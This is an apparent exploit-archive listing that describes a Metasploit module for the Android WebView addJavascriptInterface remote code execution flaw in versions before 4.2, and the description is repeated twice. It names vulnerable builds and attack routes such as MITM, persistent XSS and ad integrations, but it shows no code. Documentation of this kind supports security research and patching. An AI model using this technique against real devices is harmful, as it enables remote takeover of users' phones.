Android Browser / WebView addJavascriptInterface Code Execution

Android Browser / WebView addJavascriptInterface Code Execution
Posted Feb 7, 2014
Authored by jduck, joev | Site metasploit.com

This Metasploit module exploits a privilege escalation issue in Android versions prior 4.2's WebView component that arises when untrusted Javascript code is executed by a WebView that has one or more Interfaces added to it. The untrusted Javascript code can call into the Java Reflection APIs exposed by the Interface and execute arbitrary commands. Some distributions of the Android Browser app have an addJavascriptInterface call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs 4.1.2 release of Android is known to be vulnerable. A secondary attack vector involves the WebViews embedded inside a large number of Android applications. Ad integrations are perhaps the worst offender here. If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS into the page displayed in the WebView, then you can inject the html/js served by this module and get a shell. Note: Adding a .js to the URL will return plain javascript (no HTML markup).

This module exploits a privilege escalation issue in Android < 4.2's WebView component
that arises when untrusted Javascript code is executed by a WebView that has one or more
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
APIs exposed by the Interface and execute arbitrary commands.

Some distributions of the Android Browser app have an addJavascriptInterface
call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
4.1.2 release of Android is known to be vulnerable.

A secondary attack vector involves the WebViews embedded inside a large number
of Android applications. Ad integrations are perhaps the worst offender here.
If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
into the page displayed in the WebView, then you can inject the html/js served
by this module and get a shell.

Note: Adding a .js to the URL will return plain javascript (no HTML markup).
